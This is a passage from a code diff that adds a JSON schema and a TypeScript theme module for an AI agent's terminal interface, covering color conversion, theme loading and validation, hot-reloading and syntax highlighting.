"Syntax highlighting: variable names" + }, + "syntaxString": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: string literals" + }, + "syntaxNumber": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: number literals" + }, + "syntaxType": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: type names" + }, + "syntaxOperator": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: operators" + }, + "syntaxPunctuation": { + "$ref": "#/$defs/colorValue", + "description": "Syntax highlighting: punctuation" + }, + "thinkingOff": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: off" + }, + "thinkingMinimal": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: minimal" + }, + "thinkingLow": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: low" + }, + "thinkingMedium": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: medium" + }, + "thinkingHigh": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: high" + }, + "thinkingXhigh": { + "$ref": "#/$defs/colorValue", + "description": "Thinking level border: xhigh (OpenAI codex-max only)" + }, + "bashMode": { + "$ref": "#/$defs/colorValue", + "description": "Editor border color in bash mode" + } + }, + "additionalProperties": false + }, + "export": { + "type": "object", + "description": "Optional colors for HTML export (defaults derived from userMessageBg if not specified)", + "properties": { + "pageBg": { + "$ref": "#/$defs/colorValue", + "description": "Page background color" + }, + "cardBg": { + "$ref": "#/$defs/colorValue", + "description": "Card/container background color" + }, + "infoBg": { + "$ref": "#/$defs/colorValue", + "description": "Info sections background (system prompt, notices)" + } + }, + "additionalProperties": false + } + }, + "additionalProperties": false, + "$defs": { + "colorValue": { + "oneOf": [ + { + "type": "string", + "description": "Hex color (#RRGGBB), variable reference, or empty string for terminal default" + }, + { + "type": "integer", + "minimum": 0, + "maximum": 255, + "description": "256-color palette index (0-255)" + } + ] + } + } +} diff --git a/src/agents/modes/interactive/theme/theme.ts b/src/agents/modes/interactive/theme/theme.ts new file mode 100644 index 00000000000..ff4adb3402b --- /dev/null +++ b/src/agents/modes/interactive/theme/theme.ts @@ -0,0 +1,1272 @@ +import * as fs from "node:fs"; +import * as path from "node:path"; +import { + type EditorTheme, + getCapabilities, + type MarkdownTheme, + type SelectListTheme, + type SettingsListTheme, +} from "@earendil-works/pi-tui"; +import chalk from "chalk"; +import { type Static, Type } from "typebox"; +import { Compile } from "typebox/compile"; +import { getCustomThemesDir, getThemesDir } from "../../../config.js"; +import type { SourceInfo } from "../../../sessions/source-info.js"; +import { closeWatcher, watchWithErrorHandler } from "../../../utils/fs-watch.js"; +import { highlight, supportsLanguage } from "../../../utils/syntax-highlight.js"; + +// ============================================================================ +// Types & Schema +// ============================================================================ + +const ColorValueSchema = Type.Union([ + Type.String(), // hex "#ff0000", var ref "primary", or empty "" + Type.Integer({ minimum: 0, maximum: 255 }), // 256-color index +]); + +type ColorValue = Static; + +const ThemeJsonSchema = Type.Object({ + $schema: Type.Optional(Type.String()), + name: Type.String(), + vars: Type.Optional(Type.Record(Type.String(), ColorValueSchema)), + colors: Type.Object({ + // Core UI (10 colors) + accent: ColorValueSchema, + border: ColorValueSchema, + borderAccent: ColorValueSchema, + borderMuted: ColorValueSchema, + success: ColorValueSchema, + error: ColorValueSchema, + warning: ColorValueSchema, + muted: ColorValueSchema, + dim: ColorValueSchema, + text: ColorValueSchema, + thinkingText: ColorValueSchema, + // Backgrounds & Content Text (11 colors) + selectedBg: ColorValueSchema, + userMessageBg: ColorValueSchema, + userMessageText: ColorValueSchema, + customMessageBg: ColorValueSchema, + customMessageText: ColorValueSchema, + customMessageLabel: ColorValueSchema, + toolPendingBg: ColorValueSchema, + toolSuccessBg: ColorValueSchema, + toolErrorBg: ColorValueSchema, + toolTitle: ColorValueSchema, + toolOutput: ColorValueSchema, + // Markdown (10 colors) + mdHeading: ColorValueSchema, + mdLink: ColorValueSchema, + mdLinkUrl: ColorValueSchema, + mdCode: ColorValueSchema, + mdCodeBlock: ColorValueSchema, + mdCodeBlockBorder: ColorValueSchema, + mdQuote: ColorValueSchema, + mdQuoteBorder: ColorValueSchema, + mdHr: ColorValueSchema, + mdListBullet: ColorValueSchema, + // Tool Diffs (3 colors) + toolDiffAdded: ColorValueSchema, + toolDiffRemoved: ColorValueSchema, + toolDiffContext: ColorValueSchema, + // Syntax Highlighting (9 colors) + syntaxComment: ColorValueSchema, + syntaxKeyword: ColorValueSchema, + syntaxFunction: ColorValueSchema, + syntaxVariable: ColorValueSchema, + syntaxString: ColorValueSchema, + syntaxNumber: ColorValueSchema, + syntaxType: ColorValueSchema, + syntaxOperator: ColorValueSchema, + syntaxPunctuation: ColorValueSchema, + // Thinking Level Borders (6 colors) + thinkingOff: ColorValueSchema, + thinkingMinimal: ColorValueSchema, + thinkingLow: ColorValueSchema, + thinkingMedium: ColorValueSchema, + thinkingHigh: ColorValueSchema, + thinkingXhigh: ColorValueSchema, + // Bash Mode (1 color) + bashMode: ColorValueSchema, + }), + export: Type.Optional( + Type.Object({ + pageBg: Type.Optional(ColorValueSchema), + cardBg: Type.Optional(ColorValueSchema), + infoBg: Type.Optional(ColorValueSchema), + }), + ), +}); + +type ThemeJson = Static; + +const validateThemeJson = Compile(ThemeJsonSchema); + +export type ThemeColor = + | "accent" + | "border" + | "borderAccent" + | "borderMuted" + | "success" + | "error" + | "warning" + | "muted" + | "dim" + | "text" + | "thinkingText" + | "userMessageText" + | "customMessageText" + | "customMessageLabel" + | "toolTitle" + | "toolOutput" + | "mdHeading" + | "mdLink" + | "mdLinkUrl" + | "mdCode" + | "mdCodeBlock" + | "mdCodeBlockBorder" + | "mdQuote" + | "mdQuoteBorder" + | "mdHr" + | "mdListBullet" + | "toolDiffAdded" + | "toolDiffRemoved" + | "toolDiffContext" + | "syntaxComment" + | "syntaxKeyword" + | "syntaxFunction" + | "syntaxVariable" + | "syntaxString" + | "syntaxNumber" + | "syntaxType" + | "syntaxOperator" + | "syntaxPunctuation" + | "thinkingOff" + | "thinkingMinimal" + | "thinkingLow" + | "thinkingMedium" + | "thinkingHigh" + | "thinkingXhigh" + | "bashMode"; + +export type ThemeBg = + | "selectedBg" + | "userMessageBg" + | "customMessageBg" + | "toolPendingBg" + | "toolSuccessBg" + | "toolErrorBg"; + +type ColorMode = "truecolor" | "256color"; + +// ============================================================================ +// Color Utilities +// ============================================================================ + +function hexToRgb(hex: string): { r: number; g: number; b: number } { + const cleaned = hex.replace("#", ""); + if (cleaned.length !== 6) { + throw new Error(`Invalid hex color: ${hex}`); + } + const r = Number.parseInt(cleaned.slice(0, 2), 16); + const g = Number.parseInt(cleaned.slice(2, 4), 16); + const b = Number.parseInt(cleaned.slice(4, 6), 16); + if (Number.isNaN(r) || Number.isNaN(g) || Number.isNaN(b)) { + throw new Error(`Invalid hex color: ${hex}`); + } + return { r, g, b }; +} + +// The 6x6x6 color cube channel values (indices 0-5) +const CUBE_VALUES = [0, 95, 135, 175, 215, 255]; + +// Grayscale ramp values (indices 232-255, 24 grays from 8 to 238) +const GRAY_VALUES = Array.from({ length: 24 }, (_, i) => 8 + i * 10); + +function findClosestCubeIndex(value: number): number { + let minDist = Infinity; + let minIdx = 0; + for (let i = 0; i < CUBE_VALUES.length; i++) { + const dist = Math.abs(value - CUBE_VALUES[i]); + if (dist < minDist) { + minDist = dist; + minIdx = i; + } + } + return minIdx; +} + +function findClosestGrayIndex(gray: number): number { + let minDist = Infinity; + let minIdx = 0; + for (let i = 0; i < GRAY_VALUES.length; i++) { + const dist = Math.abs(gray - GRAY_VALUES[i]); + if (dist < minDist) { + minDist = dist; + minIdx = i; + } + } + return minIdx; +} + +function colorDistance( + r1: number, + g1: number, + b1: number, + r2: number, + g2: number, + b2: number, +): number { + // Weighted Euclidean distance (human eye is more sensitive to green) + const dr = r1 - r2; + const dg = g1 - g2; + const db = b1 - b2; + return dr * dr * 0.299 + dg * dg * 0.587 + db * db * 0.114; +} + +function rgbTo256(r: number, g: number, b: number): number { + // Find closest color in the 6x6x6 cube + const rIdx = findClosestCubeIndex(r); + const gIdx = findClosestCubeIndex(g); + const bIdx = findClosestCubeIndex(b); + const cubeR = CUBE_VALUES[rIdx]; + const cubeG = CUBE_VALUES[gIdx]; + const cubeB = CUBE_VALUES[bIdx]; + const cubeIndex = 16 + 36 * rIdx + 6 * gIdx + bIdx; + const cubeDist = colorDistance(r, g, b, cubeR, cubeG, cubeB); + + // Find closest grayscale + const gray = Math.round(0.299 * r + 0.587 * g + 0.114 * b); + const grayIdx = findClosestGrayIndex(gray); + const grayValue = GRAY_VALUES[grayIdx]; + const grayIndex = 232 + grayIdx; + const grayDist = colorDistance(r, g, b, grayValue, grayValue, grayValue); + + // Check if color has noticeable saturation (hue matters) + // If max-min spread is significant, prefer cube to preserve tint + const maxC = Math.max(r, g, b); + const minC = Math.min(r, g, b); + const spread = maxC - minC; + + // Only consider grayscale if color is nearly neutral (spread < 10) + // AND grayscale is actually closer + if (spread < 10 && grayDist < cubeDist) { + return grayIndex; + } + + return cubeIndex; +} + +function hexTo256(hex: string): number { + const { r, g, b } = hexToRgb(hex); + return rgbTo256(r, g, b); +} + +function fgAnsi(color: string | number, mode: ColorMode): string { + if (color === "") { + return "\x1b[39m"; + } + if (typeof color === "number") { + return `\x1b[38;5;${color}m`; + } + if (color.startsWith("#")) { + if (mode === "truecolor") { + const { r, g, b } = hexToRgb(color); + return `\x1b[38;2;${r};${g};${b}m`; + } + const index = hexTo256(color); + return `\x1b[38;5;${index}m`; + } + throw new Error(`Invalid color value: ${color}`); +} + +function bgAnsi(color: string | number, mode: ColorMode): string { + if (color === "") { + return "\x1b[49m"; + } + if (typeof color === "number") { + return `\x1b[48;5;${color}m`; + } + if (color.startsWith("#")) { + if (mode === "truecolor") { + const { r, g, b } = hexToRgb(color); + return `\x1b[48;2;${r};${g};${b}m`; + } + const index = hexTo256(color); + return `\x1b[48;5;${index}m`; + } + throw new Error(`Invalid color value: ${color}`); +} + +function resolveVarRefs( + value: ColorValue, + vars: Record, + visited = new Set(), +): string | number { + if (typeof value === "number" || value === "" || value.startsWith("#")) { + return value; + } + if (visited.has(value)) { + throw new Error(`Circular variable reference detected: ${value}`); + } + if (!(value in vars)) { + throw new Error(`Variable reference not found: ${value}`); + } + visited.add(value); + return resolveVarRefs(vars[value], vars, visited); +} + +function resolveThemeColors>( + colors: T, + vars: Record = {}, +): Record { + const resolved: Record = {}; + for (const [key, value] of Object.entries(colors)) { + resolved[key] = resolveVarRefs(value, vars); + } + return resolved as Record; +} + +// ============================================================================ +// Theme Class +// ============================================================================ + +export class Theme { + readonly name?: string; + readonly sourcePath?: string; + sourceInfo?: SourceInfo; + private fgColors: Map; + private bgColors: Map; + private mode: ColorMode; + + constructor( + fgColors: Record, + bgColors: Record, + mode: ColorMode, + options: { name?: string; sourcePath?: string; sourceInfo?: SourceInfo } = {}, + ) { + this.name = options.name; + this.sourcePath = options.sourcePath; + this.sourceInfo = options.sourceInfo; + this.mode = mode; + this.fgColors = new Map(); + for (const [key, value] of Object.entries(fgColors) as [ThemeColor, string | number][]) { + this.fgColors.set(key, fgAnsi(value, mode)); + } + this.bgColors = new Map(); + for (const [key, value] of Object.entries(bgColors) as [ThemeBg, string | number][]) { + this.bgColors.set(key, bgAnsi(value, mode)); + } + } + + fg(color: ThemeColor, text: string): string { + const ansi = this.fgColors.get(color); + if (!ansi) { + throw new Error(`Unknown theme color: ${color}`); + } + return `${ansi}${text}\x1b[39m`; // Reset only foreground color + } + + bg(color: ThemeBg, text: string): string { + const ansi = this.bgColors.get(color); + if (!ansi) { + throw new Error(`Unknown theme background color: ${color}`); + } + return `${ansi}${text}\x1b[49m`; // Reset only background color + } + + bold(text: string): string { + return chalk.bold(text); + } + + italic(text: string): string { + return chalk.italic(text); + } + + underline(text: string): string { + return chalk.underline(text); + } + + inverse(text: string): string { + return chalk.inverse(text); + } + + strikethrough(text: string): string { + return chalk.strikethrough(text); + } + + getFgAnsi(color: ThemeColor): string { + const ansi = this.fgColors.get(color); + if (!ansi) { + throw new Error(`Unknown theme color: ${color}`); + } + return ansi; + } + + getBgAnsi(color: ThemeBg): string { + const ansi = this.bgColors.get(color); + if (!ansi) { + throw new Error(`Unknown theme background color: ${color}`); + } + return ansi; + } + + getColorMode(): ColorMode { + return this.mode; + } + + getThinkingBorderColor( + level: "off" | "minimal" | "low" | "medium" | "high" | "xhigh", + ): (str: string) => string { + // Map thinking levels to dedicated theme colors + switch (level) { + case "off": + return (str: string) => this.fg("thinkingOff", str); + case "minimal": + return (str: string) => this.fg("thinkingMinimal", str); + case "low": + return (str: string) => this.fg("thinkingLow", str); + case "medium": + return (str: string) => this.fg("thinkingMedium", str); + case "high": + return (str: string) => this.fg("thinkingHigh", str); + case "xhigh": + return (str: string) => this.fg("thinkingXhigh", str); + default: + return (str: string) => this.fg("thinkingOff", str); + } + } + + getBashModeBorderColor(): (str: string) => string { + return (str: string) => this.fg("bashMode", str); + } +} + +// ============================================================================ +// Theme Loading +// ============================================================================ + +let BUILTIN_THEMES: Record | undefined; + +function getBuiltinThemes(): Record { + if (!BUILTIN_THEMES) { + const themesDir = getThemesDir(); + const darkPath = path.join(themesDir, "dark.json"); + const lightPath = path.join(themesDir, "light.json"); + BUILTIN_THEMES = { + dark: JSON.parse(fs.readFileSync(darkPath, "utf-8")) as ThemeJson, + light: JSON.parse(fs.readFileSync(lightPath, "utf-8")) as ThemeJson, + }; + } + return BUILTIN_THEMES; +} + +export function getAvailableThemes(): string[] { + const themes = new Set(Object.keys(getBuiltinThemes())); + const customThemesDir = getCustomThemesDir(); + if (fs.existsSync(customThemesDir)) { + const files = fs.readdirSync(customThemesDir); + for (const file of files) { + if (file.endsWith(".json")) { + themes.add(file.slice(0, -5)); + } + } + } + for (const name of registeredThemes.keys()) { + themes.add(name); + } + return Array.from(themes).toSorted(); +} + +export interface ThemeInfo { + name: string; + path: string | undefined; +} + +export function getAvailableThemesWithPaths(): ThemeInfo[] { + const themesDir = getThemesDir(); + const customThemesDir = getCustomThemesDir(); + const result: ThemeInfo[] = []; + + // Built-in themes + for (const name of Object.keys(getBuiltinThemes())) { + result.push({ name, path: path.join(themesDir, `${name}.json`) }); + } + + // Custom themes + if (fs.existsSync(customThemesDir)) { + for (const file of fs.readdirSync(customThemesDir)) { + if (file.endsWith(".json")) { + const name = file.slice(0, -5); + if (!result.some((t) => t.name === name)) { + result.push({ name, path: path.join(customThemesDir, file) }); + } + } + } + } + + for (const [name, theme] of registeredThemes.entries()) { + if (!result.some((t) => t.name === name)) { + result.push({ name, path: theme.sourcePath }); + } + } + + return result.toSorted((a, b) => a.name.localeCompare(b.name)); +} + +function parseThemeJson(label: string, json: unknown): ThemeJson { + if (!validateThemeJson.Check(json)) { + const errors = Array.from(validateThemeJson.Errors(json)); + const missingColors = new Set(); + const otherErrors: string[] = []; + + for (const error of errors) { + if (error.keyword === "required" && error.instancePath === "/colors") { + const requiredProperties = (error.params as { requiredProperties?: string[] }) + .requiredProperties; + for (const requiredProperty of requiredProperties ?? []) { + missingColors.add(requiredProperty); + } + continue; + } + + const path = error.instancePath || "/"; + otherErrors.push(` - ${path}: ${error.message}`); + } + + let errorMessage = `Invalid theme "${label}":\n`; + if (missingColors.size > 0) { + errorMessage += "\nMissing required color tokens:\n"; + errorMessage += Array.from(missingColors) + .toSorted() + .map((color) => ` - ${color}`) + .join("\n"); + errorMessage += '\n\nPlease add these colors to your theme\'s "colors" object.'; + errorMessage += "\nSee the built-in themes (dark.json, light.json) for reference values."; + } + if (otherErrors.length > 0) { + errorMessage += `\n\nOther errors:\n${otherErrors.join("\n")}`; + } + + throw new Error(errorMessage); + } + + return json; +} + +function parseThemeJsonContent(label: string, content: string): ThemeJson { + let json: unknown; + try { + json = JSON.parse(content); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + throw new Error(`Failed to parse theme ${label}: ${message}`, { cause: error }); + } + return parseThemeJson(label, json); +} + +function loadThemeJson(name: string): ThemeJson { + const builtinThemes = getBuiltinThemes(); + if (name in builtinThemes) { + return builtinThemes[name]; + } + const registeredTheme = registeredThemes.get(name); + if (registeredTheme?.sourcePath) { + const content = fs.readFileSync(registeredTheme.sourcePath, "utf-8"); + return parseThemeJsonContent(registeredTheme.sourcePath, content); + } + if (registeredTheme) { + throw new Error(`Theme "${name}" does not have a source path for export`); + } + const customThemesDir = getCustomThemesDir(); + const themePath = path.join(customThemesDir, `${name}.json`); + if (!fs.existsSync(themePath)) { + throw new Error(`Theme not found: ${name}`); + } + const content = fs.readFileSync(themePath, "utf-8"); + return parseThemeJsonContent(name, content); +} + +function createTheme(themeJson: ThemeJson, mode?: ColorMode, sourcePath?: string): Theme { + const colorMode = mode ?? (getCapabilities().trueColor ? "truecolor" : "256color"); + const resolvedColors = resolveThemeColors(themeJson.colors, themeJson.vars); + const fgColors: Record = {} as Record; + const bgColors: Record = {} as Record; + const bgColorKeys: Set = new Set([ + "selectedBg", + "userMessageBg", + "customMessageBg", + "toolPendingBg", + "toolSuccessBg", + "toolErrorBg", + ]); + for (const [key, value] of Object.entries(resolvedColors)) { + if (bgColorKeys.has(key)) { + bgColors[key as ThemeBg] = value; + } else { + fgColors[key as ThemeColor] = value; + } + } + return new Theme(fgColors, bgColors, colorMode, { + name: themeJson.name, + sourcePath, + }); +} + +export function loadThemeFromPath(themePath: string, mode?: ColorMode): Theme { + const content = fs.readFileSync(themePath, "utf-8"); + const themeJson = parseThemeJsonContent(themePath, content); + return createTheme(themeJson, mode, themePath); +} + +function loadTheme(name: string, mode?: ColorMode): Theme { + const registeredTheme = registeredThemes.get(name); + if (registeredTheme) { + return registeredTheme; + } + const themeJson = loadThemeJson(name); + return createTheme(themeJson, mode); +} + +export function getThemeByName(name: string): Theme | undefined { + try { + return loadTheme(name); + } catch { + return undefined; + } +} + +export type TerminalTheme = "dark" | "light"; + +export interface RgbColor { + r: number; + g: number; + b: number; +} + +export interface TerminalThemeDetection { + theme: TerminalTheme; + source: "terminal background" | "COLORFGBG" | "fallback"; + detail: string; + confidence: "high" | "low"; +} + +export interface TerminalThemeDetectionOptions { + env?: NodeJS.ProcessEnv; +} + +function getColorFgBgBackgroundIndex(colorfgbg: string): number | undefined { + const parts = colorfgbg.split(";"); + for (let i = parts.length - 1; i >= 0; i--) { + const bg = Number.parseInt(parts[i].trim(), 10); + if (Number.isInteger(bg) && bg >= 0 && bg <= 255) { + return bg; + } + } + return undefined; +} + +function getRgbColorLuminance({ r, g, b }: RgbColor): number { + const toLinear = (channel: number) => { + const value = channel / 255; + return value <= 0.03928 ? value / 12.92 : ((value + 0.055) / 1.055) ** 2.4; + }; + return 0.2126 * toLinear(r) + 0.7152 * toLinear(g) + 0.0722 * toLinear(b); +} + +function getAnsiColorLuminance(index: number): number { + return getRgbColorLuminance(hexToRgb(ansi256ToHex(index))); +} + +export function getThemeForRgbColor(rgb: RgbColor): TerminalTheme { + return getRgbColorLuminance(rgb) >= 0.5 ? "light" : "dark"; +} + +function parseOscHexChannel(channel: string): number | undefined { + if (!/^[0-9a-f]+$/i.test(channel)) { + return undefined; + } + const max = 16 ** channel.length - 1; + if (max <= 0) { + return undefined; + } + return Math.round((Number.parseInt(channel, 16) / max) * 255); +} + +export function parseOsc11BackgroundColor(data: string): RgbColor | undefined { + const prefix = "\u001B]11;"; + const belSuffix = "\u0007"; + const escSuffix = "\u001B\\"; + if (!data.startsWith(prefix)) { + return undefined; + } + + const suffixLength = data.endsWith(belSuffix) + ? belSuffix.length + : data.endsWith(escSuffix) + ? escSuffix.length + : 0; + if (suffixLength === 0) { + return undefined; + } + + const value = data.slice(prefix.length, -suffixLength).trim(); + if (value.includes("\u0007") || value.includes("\u001B")) { + return undefined; + } + if (value.startsWith("#")) { + const hex = value.slice(1); + if (/^[0-9a-f]{6}$/i.test(hex)) { + return hexToRgb(value); + } + if (/^[0-9a-f]{12}$/i.test(hex)) { + const r = parseOscHexChannel(hex.slice(0, 4)); + const g = parseOscHexChannel(hex.slice(4, 8)); + const b = parseOscHexChannel(hex.slice(8, 12)); + return r !== undefined && g !== undefined && b !== undefined ? { r, g, b } : undefined; + } + return undefined; + } + + const rgbValue = value.replace(/^rgba?:/i, ""); + const [red, green, blue] = rgbValue.split("/"); + if (red === undefined || green === undefined || blue === undefined) { + return undefined; + } + const r = parseOscHexChannel(red); + const g = parseOscHexChannel(green); + const b = parseOscHexChannel(blue); + return r !== undefined && g !== undefined && b !== undefined ? { r, g, b } : undefined; +} + +export function detectTerminalBackground( + options: TerminalThemeDetectionOptions = {}, +): TerminalThemeDetection { + const env = options.env ?? process.env; + const colorfgbg = env.COLORFGBG || ""; + const bg = getColorFgBgBackgroundIndex(colorfgbg); + if (bg !== undefined) { + return { + theme: getAnsiColorLuminance(bg) >= 0.5 ? "light" : "dark", + source: "COLORFGBG", + detail: `background color index ${bg}`, + confidence: "high", + }; + } + + return { + theme: "dark", + source: "fallback", + detail: "no terminal background hint found", + confidence: "low", + }; +} + +export function getDefaultTheme(): string { + return detectTerminalBackground().theme; +} + +// ============================================================================ +// Global Theme Instance +// ============================================================================ + +// Use globalThis to share theme across module loaders (tsx + jiti in dev mode) +const THEME_KEY = Symbol.for("openclaw:agent-theme"); + +// Export theme as a getter that reads from globalThis +// This ensures all module instances (tsx, jiti) see the same theme +export const theme: Theme = new Proxy({} as Theme, { + get(_target, prop) { + const t = (globalThis as Record)[THEME_KEY]; + if (!t) { + throw new Error("Theme not initialized. Call initTheme() first."); + } + return (t as unknown as Record)[prop]; + }, +}); + +function setGlobalTheme(t: Theme): void { + (globalThis as Record)[THEME_KEY] = t; +} + +let currentThemeName: string | undefined; +let themeWatcher: fs.FSWatcher | undefined; +let themeReloadTimer: NodeJS.Timeout | undefined; +let onThemeChangeCallback: (() => void) | undefined; +const registeredThemes = new Map(); + +export function setRegisteredThemes(themes: Theme[]): void { + registeredThemes.clear(); + for (const theme of themes) { + if (theme.name) { + registeredThemes.set(theme.name, theme); + } + } +} + +export function initTheme(themeName?: string, enableWatcher: boolean = false): void { + const name = themeName ?? getDefaultTheme(); + currentThemeName = name; + try { + setGlobalTheme(loadTheme(name)); + if (enableWatcher) { + startThemeWatcher(); + } + } catch { + // Theme is invalid - fall back to dark theme silently + currentThemeName = "dark"; + setGlobalTheme(loadTheme("dark")); + // Don't start watcher for fallback theme + } +} + +export function setTheme( + name: string, + enableWatcher: boolean = false, +): { success: boolean; error?: string } { + currentThemeName = name; + try { + setGlobalTheme(loadTheme(name)); + if (enableWatcher) { + startThemeWatcher(); + } + if (onThemeChangeCallback) { + onThemeChangeCallback(); + } + return { success: true }; + } catch (error) { + // Theme is invalid - fall back to dark theme + currentThemeName = "dark"; + setGlobalTheme(loadTheme("dark")); + // Don't start watcher for fallback theme + return { + success: false, + error: error instanceof Error ? error.message : String(error), + }; + } +} + +export function setThemeInstance(themeInstance: Theme): void { + setGlobalTheme(themeInstance); + currentThemeName = ""; + stopThemeWatcher(); // Can't watch a direct instance + if (onThemeChangeCallback) { + onThemeChangeCallback(); + } +} + +export function onThemeChange(callback: () => void): void { + onThemeChangeCallback = callback; +} + +function startThemeWatcher(): void { + stopThemeWatcher(); + + // Only watch if it's a custom theme (not built-in) + if (!currentThemeName || currentThemeName === "dark" || currentThemeName === "light") { + return; + } + + const customThemesDir = getCustomThemesDir(); + const watchedThemeName = currentThemeName; + const watchedFileName = `${watchedThemeName}.json`; + const themeFile = path.join(customThemesDir, watchedFileName); + + // Only watch if the file exists + if (!fs.existsSync(themeFile)) { + return; + } + + const scheduleReload = () => { + if (themeReloadTimer) { + clearTimeout(themeReloadTimer); + } + themeReloadTimer = setTimeout(() => { + themeReloadTimer = undefined; + + // Ignore stale timers after switching themes or stopping the watcher + if (currentThemeName !== watchedThemeName) { + return; + } + + // Keep the last successfully loaded theme active if the file is temporarily missing + if (!fs.existsSync(themeFile)) { + return; + } + + try { + // Reload the theme from disk and refresh the registry cache + const reloadedTheme = loadThemeFromPath(themeFile); + registeredThemes.set(watchedThemeName, reloadedTheme); + setGlobalTheme(reloadedTheme); + // Notify callback (to invalidate UI) + if (onThemeChangeCallback) { + onThemeChangeCallback(); + } + } catch { + // Ignore errors (file might be in invalid state while being edited) + } + }, 100); + }; + + themeWatcher = + watchWithErrorHandler( + customThemesDir, + (_eventType, filename) => { + if (currentThemeName !== watchedThemeName) { + return; + } + if (!filename) { + scheduleReload(); + return; + } + if (filename !== watchedFileName) { + return; + } + scheduleReload(); + }, + () => { + closeWatcher(themeWatcher); + themeWatcher = undefined; + }, + ) ?? undefined; +} + +export function stopThemeWatcher(): void { + if (themeReloadTimer) { + clearTimeout(themeReloadTimer); + themeReloadTimer = undefined; + } + closeWatcher(themeWatcher); + themeWatcher = undefined; +} + +// ============================================================================ +// HTML Export Helpers +// ============================================================================ + +/** + * Convert a 256-color index to hex string. + * Indices 0-15: basic colors (approximate) + * Indices 16-231: 6x6x6 color cube + * Indices 232-255: grayscale ramp + */ +function ansi256ToHex(index: number): string { + // Basic colors (0-15) - approximate common terminal values + const basicColors = [ + "#000000", + "#800000", + "#008000", + "#808000", + "#000080", + "#800080", + "#008080", + "#c0c0c0", + "#808080", + "#ff0000", + "#00ff00", + "#ffff00", + "#0000ff", + "#ff00ff", + "#00ffff", + "#ffffff", + ]; + if (index < 16) { + return basicColors[index]; + } + + // Color cube (16-231): 6x6x6 = 216 colors + if (index < 232) { + const cubeIndex = index - 16; + const r = Math.floor(cubeIndex / 36); + const g = Math.floor((cubeIndex % 36) / 6); + const b = cubeIndex % 6; + const toHex = (n: number) => (n === 0 ? 0 : 55 + n * 40).toString(16).padStart(2, "0"); + return `#${toHex(r)}${toHex(g)}${toHex(b)}`; + } + + // Grayscale (232-255): 24 shades + const gray = 8 + (index - 232) * 10; + const grayHex = gray.toString(16).padStart(2, "0"); + return `#${grayHex}${grayHex}${grayHex}`; +} + +/** + * Get resolved theme colors as CSS-compatible hex strings. + * Used by HTML export to generate CSS custom properties. + */ +export function getResolvedThemeColors(themeName?: string): Record { + const name = themeName ?? currentThemeName ?? getDefaultTheme(); + const isLight = name === "light"; + const themeJson = loadThemeJson(name); + const resolved = resolveThemeColors(themeJson.colors, themeJson.vars); + + // Default text color for empty values (terminal uses default fg color) + const defaultText = isLight ? "#000000" : "#e5e5e7"; + + const cssColors: Record = {}; + for (const [key, value] of Object.entries(resolved)) { + if (typeof value === "number") { + cssColors[key] = ansi256ToHex(value); + } else if (value === "") { + // Empty means default terminal color - use sensible fallback for HTML + cssColors[key] = defaultText; + } else { + cssColors[key] = value; + } + } + return cssColors; +} + +/** + * Check if a theme is a "light" theme (for CSS that needs light/dark variants). + */ +export function isLightTheme(themeName?: string): boolean { + // Currently just check the name - could be extended to analyze colors + return themeName === "light"; +} + +/** + * Get explicit export colors from theme JSON, if specified. + * Returns undefined for each color that isn't explicitly set. + */ +export function getThemeExportColors(themeName?: string): { + pageBg?: string; + cardBg?: string; + infoBg?: string; +} { + const name = themeName ?? currentThemeName ?? getDefaultTheme(); + try { + const themeJson = loadThemeJson(name); + const exportSection = themeJson.export; + if (!exportSection) { + return {}; + } + + const vars = themeJson.vars ?? {}; + const resolve = (value: ColorValue | undefined): string | undefined => { + if (value === undefined) { + return undefined; + } + const resolved = resolveVarRefs(value, vars); + if (typeof resolved === "number") { + return ansi256ToHex(resolved); + } + if (resolved === "") { + return undefined; + } + return resolved; + }; + + return { + pageBg: resolve(exportSection.pageBg), + cardBg: resolve(exportSection.cardBg), + infoBg: resolve(exportSection.infoBg), + }; + } catch { + return {}; + } +} + +// ============================================================================ +// TUI Helpers +// ============================================================================ + +type CliHighlightTheme = Record string>; + +let cachedHighlightThemeFor: Theme | undefined; +let cachedCliHighlightTheme: CliHighlightTheme | undefined; + +function buildCliHighlightTheme(t: Theme): CliHighlightTheme { + return { + keyword: (s: string) => t.fg("syntaxKeyword", s), + built_in: (s: string) => t.fg("syntaxType", s), + literal: (s: string) => t.fg("syntaxNumber", s), + number: (s: string) => t.fg("syntaxNumber", s), + string: (s: string) => t.fg("syntaxString", s), + comment: (s: string) => t.fg("syntaxComment", s), + function: (s: string) => t.fg("syntaxFunction", s), + title: (s: string) => t.fg("syntaxFunction", s), + class: (s: string) => t.fg("syntaxType", s), + type: (s: string) => t.fg("syntaxType", s), + attr: (s: string) => t.fg("syntaxVariable", s), + variable: (s: string) => t.fg("syntaxVariable", s), + params: (s: string) => t.fg("syntaxVariable", s), + operator: (s: string) => t.fg("syntaxOperator", s), + punctuation: (s: string) => t.fg("syntaxPunctuation", s), + }; +} + +function getCliHighlightTheme(t: Theme): CliHighlightTheme { + if (cachedHighlightThemeFor !== t || !cachedCliHighlightTheme) { + cachedHighlightThemeFor = t; + cachedCliHighlightTheme = buildCliHighlightTheme(t); + } + return cachedCliHighlightTheme; +} + +/** + * Highlight code with syntax coloring based on file extension or language. + * Returns array of highlighted lines. + */ +export function highlightCode(code: string, lang?: string): string[] { + // Validate language before highlighting to avoid stderr spam from cli-highlight + const validLang = lang && supportsLanguage(lang) ? lang : undefined; + // Skip highlighting when no valid language is specified. cli-highlight's + // auto-detection is unreliable and can misidentify prose as AppleScript, + // LiveCodeServer, etc., coloring random English words as keywords. + if (!validLang) { + return code.split("\n").map((line) => theme.fg("mdCodeBlock", line)); + } + const opts = { + language: validLang, + ignoreIllegals: true, + theme: getCliHighlightTheme(theme), + }; + try { + return highlight(code, opts).split("\n"); + } catch { + return code.split("\n"); + } +} + +/** + * Get language identifier from file path extension. + */ +export function getLanguageFromPath(filePath: string): string | undefined { + const ext = filePath.split(".").pop()?.toLowerCase(); + if (!ext) { + return undefined; + } + + const extToLang: Record = { + ts: "typescript", + tsx: "typescript", + js: "javascript", + jsx: 